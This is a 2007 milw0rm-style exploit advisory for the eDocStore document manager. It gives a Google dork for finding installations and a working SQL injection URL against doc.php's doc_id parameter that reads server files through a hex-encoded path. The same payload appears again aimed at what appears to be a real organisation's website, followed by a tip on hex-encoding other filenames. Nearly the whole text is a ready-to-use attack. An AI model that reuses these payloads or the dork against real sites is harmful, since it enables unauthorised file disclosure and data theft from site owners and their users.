1 −−==+================================================================================+==−−
2 −−==+ eDocStore Latest Versions Local File Inclusion Vulnerbilitys +==−−
3 −−==+================================================================================+==−−
4
5
6 AUTHOR: t0pP8uZz & xprog (good work xprog)
7
8 SCRIPT DOWNLOAD: N/A
9
10 SITE: http://www.edocstore.co.uk
11
12 DORK: intext:"Powered by eDocStore"
13
14
15 EXPLOITS:
16
17 EXPLOIT 1: http://www.server.com/essentials/minutes/doc.php?action=inline&doc_id=−1%20UNION%20ALL%20SELECT%200x2E2E2F
696E6465782E706870,0x746578742F706C61696E,null,null,null,null,null
18
19
20 EXAMPLES:
21
22 EXAMPLE 1: http://www.nwal.org/essentials/minutes/doc.php?action=inline&doc_id=−1%20UNION%20ALL%20SELECT%200x2E2E2F69
6E6465782E706870,0x746578742F706C61696E,null,null,null,null,null
23
24 Note/Tip: The filename for the incluson has got to be hexed before you can include it.
25 Its only required to replace the first hex value before the ","
26
27 GREETZ: h4cky0u.org, G0t−Root.Net
28
29 FROM GM: Kw3[R]ln Get over it!
30
31 −−==+================================================================================+==−−
32 −−==+ eDocStore Latest Versions Local File Inclusion Vulnerbilitys +==−−
33 −−==+================================================================================+==−−
34
35 # milw0rm.com [2007−06−25]
Page 1/1
eDocStore doc.php doc_id Remote SQL Injection Vulnerability
t0pP8uZz
06/25/2007